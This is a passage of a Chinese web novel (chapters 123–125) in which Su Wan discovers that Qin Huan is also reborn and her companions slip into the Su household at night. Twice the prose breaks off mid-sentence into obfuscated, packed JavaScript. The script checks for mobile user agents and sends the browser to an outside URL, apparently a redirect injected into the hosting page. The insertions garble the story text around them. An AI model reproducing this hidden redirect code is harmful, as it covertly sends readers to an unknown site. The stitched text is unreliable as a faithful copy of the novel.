阿喜暗自慨叹:原来女子可以美得清清爽爽,又强得让人心安。她悄悄挺了挺腰板,就连站在苏绾身边,也成了某种值得骄傲的事。 她忽然感到有点自惭形秽。 见小姑娘一直盯着她不说话,苏绾只好主动破冰:“你叫阿喜?是你救了阿舟,对不对?谢谢你啊。” 阿喜有些不好意思,红着脸点点头:“谈不上谢不谢的,正好碰上了,也不能见死不救嘛。” 她全然忘了自己当时是怎么捧着钱罐子,哗啦哗啦跟阿舟讨要医药费的,神情倒是颇为义正词严。 战火平息,邵云礼抖了抖战袍,上前道:“好了,你们也都出过气了,是时候考虑下一步行动了。” 他扫了一眼垂头丧气、脸色乌青的沈枝意,“那么,谁来送沈大小姐回去?总不至于让我这个大理寺卿亲自出马吧?” 指挥使出面调停,事情性质就不一样了。本是一桩女子因嫉妒生恨,打架斗殴的寻常事,立刻转变为两股军事力量互搏。 苏绾摇了摇头,“那是自然。” 她略一沉吟,冷声说道:“我会亲自上京负荆请罪,拜见沈老将军。” 这档烂摊子,终归是要有人收拾的。旁人不便出面,就由她自己担下。也许正好顺势完成另一桩心事:她一直致力于与沈恪商谈抗倭,苦于找不出合适的由头,老天终于给了她一张登门的请帖。 沈恪爱女,人尽皆知。 可她苏绾,也是被捧在掌心疼着的后辈,她不信沈恪会轻而易举与殷潜撕破脸皮;更何况,沈枝意跋扈张扬,不是一天两天,这笔账,早该有人来算一算了。 阿舟终于回过味来,他跑上前去问阿喜:“阿爹还好吗?” 没人问起李老爹,连阿喜自己都快忘记了,“有晴雷在,阿爹不会有事,可是文竹……” 一提到文竹,阿喜眼眶立刻红了。最后一眼的印象,深深镌刻在阿喜的脑海。她恨自己没有能力,将他从刀山火海中救出来。她咬着嘴唇低下头,神情中透出深深的愧疚与悲伤。 “阿绾姐姐,我对不起你……我没能救出文竹,我、我真的尽力了。”话未说完,她小嘴一瘪,像个受了委屈的小孩,哭得梨花带雨。 苏绾将她搂进怀里,温柔地抚摸发髻,如同知心大姐姐一样,细声安慰她:“这不是你的错,你已经做得很好了。” “错的,是那些不知好歹的人。” 她要一个一个报仇雪恨。 夜风轻拂,月色如洗。两个女子静静相拥,一个哭泣,一个安抚,善意与温柔,在这一刻缓缓流淌心田。 阿舟心情万分复杂,京中凶险莫测,凭他一己之力,不知能不能护得住两朵娇艳鲜花。 可他自从观赏了一出“三女相争”之后,又觉得自己想多了。 眼前一片清和,不是最好的结果吗? 123. 重生 邵云礼眸中暗流涌动,“你可明白,这是要与沈恪正面交锋?” “那又如何?”苏绾抬手将碎发别至耳后,唇角勾起一抹弧度,“兵来将挡,水来土掩。我没什么好怕的。” “就为了一名随从?”邵云礼倾身向前,“值得赌上这么多条人命?” “邵大人。”苏绾抬眼直视他,“为了时樾将军,值得你拿什么对赌?” 邵云礼一时语塞。 目光扫向苏绾身后的秦欢、萧染,乃至阿舟与阿喜。那一双双眼睛,清明而坚定,没有丝毫动摇。 他似乎有些明白了。 “罢了。”邵云礼理了理袖口,“我管不了你们,我只管好我自己。日后倘若出了岔子,也别指望我替你们收拾烂摊子。” 可他嘴上说着袖手旁观,到底还是指派了一队人马,专门护送苏绾进京。而那些沈恪麾下的兵士,因无人调度指挥,已尽数遣返大兴县驻地。 又因京营不得收留女眷,阿喜主动提出随苏绾同行。阿舟、晴雷与李老爹则留驻原地,方便隐匿行踪。可想而知,几人甚是不愿意,尤其是阿舟,吵吵嚷嚷着非要一同前往,结果被邵云礼一顿呵斥,老实了。 随后苏绾马不停蹄赶至京城,才刚踏入城门,就被身穿黑衣、戴着面具的暗卫拦住——邵云礼早有提醒,锦衣卫正全城抓捕毒蛇堂余孽。 一听“诏狱”两个字,苏绾的身子抖个不停。谁知萧染梗着脖子,非要去诏狱看风水不可。苏绾不答应,闹到最后,愣是把李鹤鸣请了出来,黑着脸将萧染带走了。 秦欢安慰苏绾,“那个家伙不想让你担心,其实一切都在计划中,他会想办法进宫,觐见皇帝一表心计。” 经过重重阻隔,一行人总算回到苏府。彼时殷潜已提前到达,并下榻在主院。苏绾等一帮女眷则宿在偏院紫竹苑。 无霜与春蝉两个小丫头盼星星盼月亮,迎来了文竹的棺椁,两人扑在棺椁前大哭了一场。无霜与文竹同一屋檐下相处好几年,早已情同手足。她无法接受现实,数度昏厥过去。 苏绾心痛不能自已,不得不强挺着精神,着手操持丧葬之事。她将文竹葬在后山一处清幽地,四周种满了竹子。微风吹过,仿佛听见文竹在耳边低声细语。 至于沈枝意,苏绾安排她住进了芸娘的闺房。沈枝意当然一百个不愿意,可她被人扣押软禁,每日里学南唐后主,问君能有几多愁。 苏绾其实并未对沈枝意起杀念。剥夺性命,是廉价粗暴的报复手段。杀人诛心,才是最致命的一击。苏绾私下筹划了一出“逃出生天”的大戏,不日即将粉墨登场。 且说与兵部尚书陆能会晤尚未结束,沈恪第一时间接到手下传信,讲沈枝意被人掳走。老将军大惊,连夜返回大兴县城,率兵二千直赴京营,誓要为女儿讨个公道。 邵云礼照旧两手一摊,“没办法,谁让贵府千金杀了苏家的随从亲信?苏绾一时气不过,自然要抓住你女儿来平账。这女子之间的恩怨情仇,我一个大男人,怎好插手?” 沈恪心知肚明,自家女儿性子一向乖张跋扈,早晚惹祸上身,果然撞到了殷潜的外甥女手上。这一撞,撞得不轻。朝堂风云诡谲,此时他大张旗鼓上门兴师问罪,无异于自掘墙角,为自己平白树敌。 权衡再三,沈恪强压怒火,亲笔致信殷潜,劝其“得饶人处且饶人”,他就这么一位眼睛上的珠子,本着“多一事不如少一事”的原则,大家“各退一步”。 对沈恪的求情信,殷潜以“公事繁忙、应酬不断”为由,轻描淡写地搪塞过去。他不愿卷入旁枝末节,更不屑为闺阁斗气劳心费神。他盘算的,是如何将秦欢顺利送入皇宫。 按照计划,在殷潜的举荐下,秦欢以御医之名入宫,表面是为陪伴贵妃,实则与先一步入宫萧染暗中联动,打通后宫之路,为苏绾谋局铺陈后势。 举荐折子昨夜才递上去,第二日天明一早,司礼监掌印太监便以“礼法不合”为由,将折子驳回。殷潜心知这是皇后暗中掣肘,却也无计可施。为了避嫌,他不能惊动贵妃与御马监,而内阁又被温如初一手把控。 正当他一筹莫展之际,一纸请帖从天而降——竟是内阁首辅章任梁以私名义发出的,邀殷潜赴宴。 这个节骨眼上收到阁老的请帖,令人细思极恐。此举既可看作试探,又或许藏着转机。 朝局风云变幻,步步惊心,而秦欢却始终淡然如常。 他并不担心自己能否顺利入宫——他真正惦记的,是能与苏绾朝夕相处的日子。两世浮沉,他们真正相伴左右的时间,加起来也不过短短一年而已。太短了,短得像春雪落地,一触即化。 他想将转瞬即逝的温柔,化为一生一世的陪伴。哪怕山河倾覆,家园不再,他也想护住那份心头执念,白首垂丝恨不遗。 他还有机会,逆转翻盘吗? 时光飞逝,转眼就到了二月廿二。 紫竹林被清风拂得沙沙作响,竹影婆娑间,苏绾独自坐在亭中,摩挲着文竹的腰牌,眸子里映着黯淡的天光。 假如她再强大一些,他是不是就不必死去? 他们杀的是文竹吗?不是。他们杀的是她的心,是她的意志,是她尚未崩溃的信念。 再不还手,死的绝不仅仅是文竹,还会有更多人接连倒下。 一阵熟悉的药香飘来,苏绾抬首望去,却见秦欢端着一碗热气腾腾的长寿面缓步而来。 细白的面条上卧着一枚煎得金黄的荷包蛋,汤色清透,浮着几粒翠绿的葱花。 秦欢将碗搁在案上,温声道:“今日是你的生辰,能否赏光吃一碗长寿面?” 苏绾盯着那碗面,又看了看秦欢,总觉得有些不可思议,“你怎么知道?” 秦欢挑眉一笑:“我是大夫。” 嗯? 问题不在于秦大夫测准了她的生辰八字。 而是那碗面,那句话,似曾相识。上一世,秦欢煮过一模一样的面,说过一摸一样的话。 不对劲啊。 苏绾心跳得厉害,抬眸睇着秦欢,却见他神色如常,仿佛只是随口一说。 苏绾舔了舔嘴角,低头吃了一口面,热汤滚过喉咙,暖意一路蔓延至心口。 “真好吃。”苏绾抿了抿嘴。 “好吃就多吃点。”秦欢宠溺地看着她。 苏绾的眼角,几不可察地抖了抖。上一世,他们之间讲过相同的对话。 十分古怪。 再试一试他。 “簪子呢?”忽然素手一伸。 秦欢茫然道:“什么簪子?” “少装傻。”她轻哼一声,“镇药箱的那支。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303487|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那个啊。”他无奈道,“摔坏了,没用了。” 苏绾眸光一黯,低头拨弄着面条,闷闷道:“哦。” 秦欢睇着微微鼓起的粉颊,忽然变戏法一般从袖中取出一支桃木簪——断痕处已被金丝细细缠好,簪头的桃花瓣看着分毫未损,泛着温润的光。 “修好了。”他低声道。 苏绾眼睛一亮,伸手就要去拿,秦欢故意抬高了手,挑眉道:“想要?” 她瞪他,伸手去够,却被他顺势扣住手腕,轻轻一拽。她猝不及防,踉跄着跌入他怀中,鼻尖撞上他的胸膛,清冽的药香瞬间将她包围。 秦欢低头,目光落在她微红的耳尖,喉结动了动,缓缓靠近。 苏绾偏头躲开,心跳如擂鼓,强作镇定道:“面凉了就不好吃了。” 秦欢低低地笑着,并未强求,松开了她,轻声道:“凉了再热热,大不了再吃一次回锅面。” 苏绾乍抬头:“你说什么?” 他不答,抬手将簪子插进一头青丝,指尖拂过额发,又落向眉心,轻轻按了按,低声道:“真好看。” “好看就多看点。”她学着他的语调,娇俏道。 上一世,秦欢做的那碗长寿面,她并未第一时间动筷,而是睡醒之后才让秦欢重新热了热。吃着吃着,她随口一句夸奖:“真好吃”,秦欢笑着回她:“好吃就多吃点。” 联想到这一世秦欢诸多表现,以及他对温如初那种来路不明、却刻骨铭心的恨意,种种一切迹象,皆指向一个惊人的答案——秦欢,也是重生之人! 得出这般结论,苏绾没有半点惊讶,反而有种恍然大悟的通透感。 她怔怔望着秦欢,忽地伸手攥住他的手腕,眼眶蓄满泪意,声音轻得似细风:“秦大夫,别来无恙啊……” 秦欢身体一僵,那一瞬间,脸色罕见地变得苍白,连唇角都不受控制地颤了颤。那股苍白又悄然褪去,取而代之的是微微泛红的眼眶。 他抬手覆住葇荑,低声喃喃:“你总算认出我了。” 两人对望,四目交缠,欲语泪先流。 那些藏在两世时光里的酸楚、委屈、思念与等待,皆在这一句“别来无恙”中尽数涌出。 风过紫竹林,细叶婆娑轻响,仿佛替他们低吟那些来不及说出口的心事。 苏绾终是没能忍住,一头扑进秦欢怀里,泪水如决堤之潮,两世悲喜交织:“我以为,这一世,再也找不到你了。” 秦欢紧紧抱住她,将她整个人揉进骨血里,温柔道:“我说过,无论多少次,我都会回来。” 苏绾抬起脸,泪眼朦胧化作控诉:“你这个坏郎中。你早就知道我是重生的,对不对?可你就是憋着不肯告诉我。” 秦欢眼角噙着泪,轻轻笑了,“我是坏人,我是胆小鬼。我怕你不认我,怕你不再是原来的你。我小心翼翼地试探你,步步藏着心思,全都是我的错。” 苏绾忽然想起一桩旧事,脸色骤然发白,身子止不住地颤抖:“是温念杀了你。” 秦欢眼神微黯,拥她更紧几分,“都是过去的事了,我已经不在意了。” 他不在意,她不能不恨。苏绾死死抓着他的衣襟,仿佛要把两世的命运都抓在掌心——这一次,她绝不会再让他死在自己前头。 (未完待续) 124. 夜探 午后日头正浓,京营一派肃静。 阿舟一身玄衣,外罩锁子甲,两手环胸,一本正经喝道:“本将军现有要务离营,拦挡者杀无赦!” 嗓音洪亮,中气十足,端地一副将军架势,威风凛凛。 不知何故,浑身上下带着说不出的违和感,恰如渔船罩上一层护甲,摇身一变成了战舰。 营口士兵看看他,又看看身后拄着鱼竿当拐杖的李老爹,再看看旁边有点憋不住笑的晴雷,露出一脸迷茫之色。 “将、将军。”士兵踌躇道:“您不是……呃,留营休整吗?” “本将军接到一条密令,天大的密令。”阿舟板着脸,负手而立,状似深沉:“怎么,你不信我?要不要检查一下本将军的密令?” “……属下不敢。”士兵唯恐得罪将军,忙不迭放行他们。 一出营地范围,阿舟立马松了口气。他解开绳扣,敞开盔甲,扯掉绑腿,嘴里嘟囔道:“当个大将军可真不容易呀,就这身破烂铁皮套子,好人也给闷坏了。” 晴雷憋笑的脸开始发红,“冲锋陷阵,没有铁皮套子的话,爷早被扎成刺猬了。” 阿舟一听更来气:“我以前还会骑马砍杀呢。” 李老爹挥舞着鱼竿,一瘸一拐地走在前头。县城集市遭遇的那顿毒打,虽然被阿喜扑身护住了双腿,勉强没打断骨头,可他到底年纪大了,筋骨不比从前灵活,走起路来脚步虚浮,身子一晃一晃的,风一吹就要倒似的。 “快些走,阿喜可等不及了。” 三人行至草场,不由分说拦下小旗兵,从他手中夺过踏月的缰绳。小旗兵一百个放心不下,可架不住“将军有令”四个大字压在头顶,眼睁睁看着战马被人牵走。 踏月一身银白鬃毛,在日辉照耀下,闪着炫目光泽,好一匹汗血神驹。 阿舟踩着马镫翻身上马,心里犯起了嘀咕。上回被这匹畜生摔下马的阴影还未弥散,屁股的痛感已经昨日重现。 果不其然,踏月甩了甩马尾,嘶鸣一声,前蹄腾空,“哐啷”一下,将背上的累赘抖了个四仰八叉。 “爷,”晴雷赶紧将他扶起,苦笑道:“您还是别硬着来了。” 阿舟坐在地上揉着后腰,咬牙切齿道:“这畜生记仇,分明故意整我。” 踏月高高扬着马头,眼神透着轻蔑——在它心里,可从没把这只两脚兽当作自己的主人。 无奈之下,只得由晴雷驾驭踏月,而阿舟和李老爹共骑一匹老黄马。于是三人两马,一前一后,颠颠簸簸,穿林越道奔赴京城。 待赶至西城门,日沉西山,城楼灯火通明,将天穹一寸寸染成靛蓝色。 三人头戴斗笠,身穿短打布衣,扮做农人小贩。他们将两匹战马披上草席充作拉菜驴,又在马背绑上装满蔬菜的箩筐,看上去确有几分乡下人赶集的架势。 守卫一眼扫过菜筐,语气严厉:“里面装的什么?” 李老爹拱手笑道:“些许鲜菜鲜果,运进城内西市,明早贩卖。” 正当几人受盘问之际,后面踏月等得不耐烦,鼻子嗅了嗅隔壁老黄马的后背,“咔吧”一口咬下捆绑菜筐的草绳。筐子栽歪,胡萝卜洒了一地,踏月低下马头,三口两口吞了个干净。 守卫脸一沉:“这是驴是马,怎还吃菜?” “官爷莫见怪。”李老爹扶正菜筐,干笑一声:“咱们走了几十里路,畜生饿坏了,吃点自家的东西,不算罪过。” “没听说过!”兵卒已然起疑,抽出佩刀一指,“不许动,全都留下查验!” 眼看露馅,晴雷低吼一声:“快跑!” 少年一个翻身,利落跨上踏月,身子一侧,伸手将阿舟捞上马背。马蹄未停,又拐个弯将李老爹接上马。老头手忙脚乱,抓着马尾巴乱摇,踉跄着堪堪爬上马臀。 “驾!”晴雷双腿一夹,踏月如离弦之箭,破风而去。 守卫立即调兵追赶,怎奈所乘皆是凡马,哪里追得上踏月神骏的脚程?不过几里路程,追兵早被远远甩在马屁股之后,空余一地惊呼。 “啥子宝马嘛!”李老爹搂着阿舟的腰,气喘如牛,“还不如顺毛驴顶用。” 阿舟夹在两人中间,马后炮闷声道:“踏月绝对故意找茬,你们偏不听。” 风从耳边呼啸而过,三人一马,蹦蹦哒哒沿宽窄巷子驰骋穿行,留下一路飞扬的尘土,与鸡飞狗跳的叫喊。 “小心!”路边小贩来不及闪躲,马匹迎面撞倒了挂面摊,白花花的面条一根根挂在人脸与马头,吓得孩童哇哇大哭。 当晴雷抹掉最后一根面条时,众人终于摆脱狭窄逼仄,灰头土脸来到宽敞大路。 夕阳的余晖洒落瓦檐,楼阁人声鼎沸,酒幌猎猎作响,香气从窗棂溢出。铺着猩红地毯的门槛,被来往客人踩踏得锃亮。吆喝声、劝酒声、曲调声交织成一幅京城繁华图景。 三人抬头一看:醉仙楼。 “啧啧,这上京城就是不一般。”李老爹揉搓干瘪肚子,酸道:“连酒楼都造得跟天上宫阙似的。” 阿舟口水直流,“我脑子里有条鱼游来游去。” “脑子里的鱼,不如肚子里的鱼实惠。”晴雷咧嘴一笑,抬脚踏入酒楼。他将踏月交给杂役牵入马厩,几人要了一间雅间入座。 “多叫几道好菜,也给阿喜捎点尝尝。”李老爹一屁股坐下,脱下斗笠往旁边一搁,浑身松了劲。 美味佳肴摆满了一桌子,鸡鸭鱼肉、汤羹点心俱全。三人饿得前胸贴后背,顾不上寒暄,一顿狼吞虎咽,啃得满嘴流油,筷子差点打架。 正吃得香,忽然隔壁传来一阵吵闹声,十分刺耳。 “抠门守财奴,好不容易来一回醉仙楼,连条鲜鱼也舍不得点,还好意思称自己家财万贯?你不会是个没钱的穷光蛋吧?”女子尖声质问。 “窑子里出身的粉头,也配吃鲜鱼?吃小葱豆腐都抬举你了。”男子嗤笑回击。 “王八蛋,有娘生没娘养的畜生。”女子气得抬手掷了茶杯。 “敢跟本大爷撒泼,找死!”随着男人暴怒一吼,清脆的掌掴声响起。 女子大声哭泣。 “不行。”阿舟一筷子拍在桌案,兀自站起身。 晴雷没来得及拦住他,阿舟已推门而出。在众人惊诧的眼神中,阿舟趸入隔壁包间,揪起男子的后领,凤眸冷冽如刀:“你娘教你动手打女人了吗?” 男子还未反应过来,已被阿舟一脚踹翻在地。他挣扎着想爬起身,却被如雨的拳头砸得找不到北,“哎哟哎哟”叫了两声,很快就没了动静,一头栽倒昏死过去。 “姑娘,你没事吧。”阿舟转过身,问候女子道。 女子吓得缩成一团,却不是为着“英雄救美”。她葱指指着阿舟,惊道:“你、你是京卫指挥使……” 原来,女子本是春月坊的旧花娘宝蟾。去岁暮春,宝蟾接待了一位冷面恩客,自称“冰山客”。此人寡言少语,衣品不凡。宝蟾一眼认出是个有银子的主顾,使尽浑身解数,忽悠他以一千银子的价格买走银盒。宝蟾只当是宰了只肥羊冤大头,高兴得忘乎所以。 哪知好景不长。那位替她出头、为她挡事的“三哥”,无端被官府拿了下狱,不久砍了脑袋。宝蟾失了倚仗进项,日子一天比一天难捱。 岂料祸不单行。老鸨本就对她抢了头牌青凤的风头心存不满,不但没带来实打实的银子,反倒招惹苏郎中家的逆子,索要被讹诈的银两。宝蟾拒不归还,苏家仗势欺人,将矛头转向春月坊。老鸨一怒之下,将宝蟾转手卖给了城南的下等窑子,从此风光不再。 宝蟾隐隐觉得那位“冰山客”身份蹊跷,又说不出哪里不对。直到几个月后,京卫指挥使亲自挂帅,剿灭城郊一伙山匪,威风堂堂游街。 宝蟾挤入人群凑热闹,一眼认出那位身披玄甲、目若寒星的年轻将军,可不就是当初被她当成冤大头的“冰山客”。 又转目一瞥,望见后方跟随的青年十分眼熟,仔细辨认,竟是“四象馆”截胡的姐妹。她一路跟随其后,跟到了苏府大门。 从头到尾,俩人合唱一出戏,将个宝蟾耍得团团转。 可惜世事无常。没过多久又传来京卫指挥使殉国的消息。宝蟾虽有几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329191|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分唏嘘惋惜,也不过暗恨自己错失了攀附高枝的机会,至此再无交集。 这位将狗男人一脚踹翻的青年才俊,背影似曾相识。待他一转身,烛火摇曳,映得半边面庞金光微耀。 冰山客竟还活着。 “你认错人了。”晴雷抢先一步,冷硬地拒绝她。 他随手丢了几块碎银给小二,“收拾了,我们走。” 宝蟾眨巴着眼,嘴角露出一抹笑意,“化成灰我都认得。” 她扯住阿舟的衣襟,眉梢轻挑,娇声道:“冰山大人,别来无恙。” 眼中精光一闪,又似想起什么,揶揄道:“前日才听说苏郎中家的二小姐回京了,看您这架势,急着探望她去?” 如同惊雷乍响,令晴雷大骇。他骤然出手掐住宝蟾咽喉,往上一提,语气寒刃入骨:“你个窑姐,休得胡诌。再敢放肆,小心掉脑袋!” 宝蟾吓得魂飞魄散,双手死死扒着晴雷的手臂,脸颊涨得通红,嘴里呜呜咽咽,眼看喘不过气来,“放……放开……” “住手!”阿舟厉声呵斥,面色阴沉如水,“仗着自己穿了一层官皮,竟敢欺压百姓?” 突如其来的无端指责,让晴雷一怔。他下意识松开手,低声道:“属下不敢。” 一旁的李老爹看出了门道,笑呵呵地打圆场:“哎哟,误会误会,都是老百姓,哪来当官的说法。” 说着,他一手拉着阿舟,一手扯起晴雷,低声急道:“快走快走,莫再瞎嚷嚷。” 三人逃也似的离了醉仙楼,留下宝蟾怔怔望着离去的背影,咳得泪流满面,倚墙喘息。她心下做了打算,绝不放手这块到嘴的肥肉,非要敲诈一笔竹杠不可,这也是她最后翻身的机会。 夜色深浓,月华如洗。 府门前一片寂静,只有风吹树梢的沙沙声,与远处偶尔传来的犬吠声。 突然,三道黑影沿着巷子悄然而至,在苏府外墙下止步。他们皆身着黑衣,头戴面罩,看不清面貌。 其中一人个头最高,身形挺拔。他指了指另外两人,做了个“兵分两路”的手势。 那两人会意,一个佝偻着身子,从狗洞钻进庭院,向着偏房摸去;另一人身姿敏捷,飞檐走壁,直奔苏府祠堂。 高个子目送两人离开,自己轻身一跃,即翻墙而过。脚下踩着细碎的竹叶,仰头洒落溶溶月色。 钻过狗洞,李老爹脱下面罩,低声咕哝:“不愧是大户人家,屋子多得数不清。” 凭借敏锐的方向感,他绕过前院,寻到阿喜的住处,刚抬手推门,屋内忽然传来一声:“谁?” 李老爹贴着门,低声呼唤:“阿喜,是我。” 门开了,阿喜披着外衫站在门口,脸上还带着没来得及褪去的睡意。她惊讶得睁大了眼睛,带着颤音:“阿爹!” 李老爹笑着答应:“哎。”转身偷偷抹去滚烫的泪。 另一边,晴雷绕过偏厅,熟门熟路摸去了后院祠堂。他推门而入,脚步极轻,唯恐惊扰沉睡的灵魂。 他直奔最末处的角落,那里供着一块素色木牌,牌上仅写着:“文竹之灵位”。案前红烛尚未燃尽,摇曳烛光映得字影晃动,忽明忽暗。 苏绾替文竹消去奴籍,以苏府家主之名,认其为义兄。故而文竹得以以正名之身,入驻苏家祠堂。 晴雷立于灵位前,躬身行了一个极深的军礼,方才跪坐蒲团,恭敬地点上一炷香。 袅袅青烟升腾,他低头叩首,额头贴着冰凉的青砖,轻声诉说着无尽的思念与愧疚。 撒手人寰之前,文竹看了他一眼。 “谢谢你。” 轻得像风,淡得如云,重重压在心头,再也挪不开。 明明只说了三个字,却将整个人生都归还给了他。 抬眼依稀望见,文竹站在光的尽头,衣袍染血,眉目温和,从容地朝他笑着。 不是赴死,而是归途。 他知道,那是真正的诀别。 从此黄泉路远,故人音绝,再无人,伫立春日野穹之下,轻轻对他说一句: “等我回来”。 125. 逃跑 阿舟身形一跃,豹子般轻松掠过高大的院墙,玄色衣袂未惊动半片青瓦。 失忆未损他一身本事,暗夜潜行犹如本能。 他脚尖轻点屋脊,避开巡夜灯笼的光芒,无声落在偏院紫竹苑。 “小姐肩疼得厉害,霜儿去烧些艾草水来。”无霜推门而出。 男人悄无声息隐没入夜色,直至婢女脚步渐远。 窗棂半掩,茜纱透出暖黄烛光。 阿舟屏息凝神,修长手指扣住窗沿,透过缝隙向内窥视。 屋内灯火微明,苏绾凝神执笔,临着一页素笺缓缓落字。她身着素色纱衣,鬓边斜插一枝桃木簪,侧影静美如画。 阿舟看得有些痴了。 他想起了模糊的梦境——也是在这样静谧的夜晚,她伏案小憩,他倚窗静望。之后发生了一些不可说的事情,甜腻腻的。 他越看越欢喜,心里揣着千百只雀儿翻飞。忍不住伸手悄悄拉动窗销,想要更加贴近一些。 窗棂敞开的刹那,苏绾笔锋悬停,淡淡开口:“你来了。” 阿舟一愣,“你是怎么知道的?” 苏绾搁下狼毫,“从前你走路没声,如黑豹掠影。如今像只大笨熊,一路轰隆隆地踩进来。” “想不知晓都难。” 男人翻窗而入,靴底沾着的新鲜黄泥抹在青砖上。 “我来看看你。”停了一息,他又问道:“你还好吗?” 苏绾不答,低头收了笔,将那封信吹干,又装入封套。 她一直不说话,令阿舟莫名慌乱,他向前挪动几步,想要离她近一些。 苏绾背对着他,淡淡道:“有事便说,别靠太近。” 阿舟停住脚步,低低应了声:“……好。” 男人睇着那道倩影,千头万绪拧成一团乱麻,话到嘴边变了模样。 “你……你屋子……呃,这灯还挺亮的。” 苏绾微微侧首,“你大老远跑过来,就为了夸赞我的灯?” 阿舟一时语塞,嘴角干巴巴地讪笑:“不、不是。” 满肚子的思念,像茶壶煮饺子一般,怎么都道不出口。 苏绾似乎失去了耐心,“你一路过来,可曾发生什么事,遇到什么人?” 阿舟眼神闪了一下,旋即摇头:“没有,顺顺利利。” “你确定?”苏绾淡淡地看着他。 阿舟不由得移开视线,心虚地“嗯”了一声。 苏绾垂下眼帘,语气低了几分:“你不是个擅长撒谎的人。” 烛火摇曳,光影在她的羽睫间跳动,“有人认出你了,对吗?” 阿舟一愣,“你、你怎么知道?” 苏绾望着他,眼神似一泓深潭,“你在街市上被人认出来时,是不是还觉得自己能应付得了?还是你根本就没意识到自己处境如何?” “你现在的身份,说轻了,是个麻烦;说重了,是架活靶子。你若只是个普通人也就罢了,可你并不是。你是时枫,是那支铁血京卫的统帅,是这世上,最锋利的一把刀。你若还活着,对某些人来说是威胁,是不该存在的祸根。” “你知不知道,这上京城,有多少双眼睛盯着你?你的一举一动、一言一行,都会被人暗中记下、翻查、揣摩。你今天进了城,明天就会有人在你回去的路上埋伏。你根本没有自由的资格,也没有任性妄为的本钱。” “你若一意孤行,由着自己性子乱来,就要做好随时被人盯上、被人利用,甚至被人除掉的准备。哪怕只是在人群中走错一步,随时都可能引来杀机。” “你到底把自己当成什么?你是不是以为死过一次,就刀枪不入了?你就这么不把性命当回事吗?!” 苏绾仿佛用尽了全身力气,身子颤抖不停,声音却哑了下去。 阿舟张了张嘴,想要说点什么,又闭上了。 他明明只是想来见她一面,想对她说一句“生辰快乐”,想把那只藏在怀里的小木梳送给她。可眼下,似乎连靠近她,都成了错误。 空气一片沉寂。 无霜远远地听着祠堂有细微的动静,吓了一跳,还以为鬼魂出没。 夜风掠过祠堂外的桃枝,香气隐隐。 她循声而来,推门探入。 红烛未尽,香烟袅袅。 她才迈进一步,忽然一只手从暗影中探出,迅速而稳妥地攥住了她的手腕。 “谁?”无霜忍不住惊呼。 “别吵,是我。”声音沉稳有力。 无霜一愣,抬眼对上那双熟悉的眸子。 半年未见,他仍是那副英姿飒爽模样,只是眉目间多了几分憔悴。 无霜心头莫名一紧,满心满脑的思念,藏也藏不住。 可她不能就此原谅他。 “放手。”无霜声音一寒。 晴雷怔了片刻,像是被惊了一下,随即松了手,退后一步,低声道:“得罪了。” “你来干什么?”无霜质问道。 晴雷攥了攥拳,“我想看看文竹。”停了一息,又道:“也想看看你。” 无霜咬牙道:“看我做什么?我活得好好的。”眼圈一红,“你也不必假惺惺地惦记文竹,太迟了。” 晴雷胸膛微震,像被重重捶了一拳,“是我的错,我没能护住他。” “当然是你的错。”无霜步步紧逼,“你是大名鼎鼎的锦衣卫,理当维护弱小。结果呢?他为了庇护你,被人活活打死了。你凭什么给他上香?你还有脸跪在他面前?” 每一个字,都像刀子,直戳晴雷心口。 “我……”晴雷喉头发紧,“我不是不想救他,我只是……” “你只是没来得及。”无霜冷笑一声,泪水滚落,“因为在你心里,文竹充其量是一根蒲草。” 烛火微摇,香烟浮动,两人站在灵位前,间隔着万重山的悔恨。 李老爹哼着小调儿,从布衣怀里掏出一个油纸包,像是变戏法似的,啪地摊在桌案边,香气顿时弥漫开来。 醉仙楼的酱肘子、莲蓉酥、酱烤鸡腿,还带着余温。 “快趁热吃。”李老爹催促道,眉眼藏着慈爱。 阿喜眼睛一亮,抓起鸡腿就啃,吃得满嘴流油,狼吞虎咽私毫不顾形象。 李老爹有些担忧:“怎么饿成这样,苏府都不给你吃饱肚子吗?” “哪儿呀!”阿喜嘴里含着东西,囫囵含糊道:“苏二小姐对我可好了,吃得饱,穿得暖,还教我识字呢。” 是她胃口大,吃得多,谁让她正在长身体呢。 “没出息。”李老爹眯着眼问:“不想回沙洲啦?” 阿喜一边抹嘴一边摇头,“沙洲哪有京城那么多好吃的。”她舔了舔指尖,又小声道,“而且,苏小姐……她跟姓沈的不一样。” “哦?”李老爹来了兴趣,“哪里不一样?” 阿喜想了想,认真说道:“姓沈的总是绕着阿舟转,一门心思想让他当上门女婿。可苏小姐不一样,她已经有秦大夫了,对阿舟也从不存什么坏心思。” 她说着,嘴角忍不住弯起,“今日是苏小姐的生辰,秦大夫亲手煮了长寿面,还做了一支桃花簪子送给她。苏小姐当场就红了眼圈,眼泪都掉下来了呢。” “啧啧,”阿喜啃着鸡腿,一脸欣喜,“简直是天造地设的一对。” 李老爹忽然斜了她一眼,劈头问道:“那你呢?” 阿喜嘴里的鸡腿顿了一下,整个人怔住了。热腾腾的灯火在她睫毛上跳跃,她没作声。 沈枝意蜷缩在床角,眼神比月光还要冷。 她本是金尊玉贵的千金大小姐,如今沦落到被殴打、被软禁、连梳头都要请示的地步,焉能咽得下这口气? 她在心里盘算了无数遍逃跑的路径,奈何那该死的春蝉守得太紧,连她上茅房都要跟着。 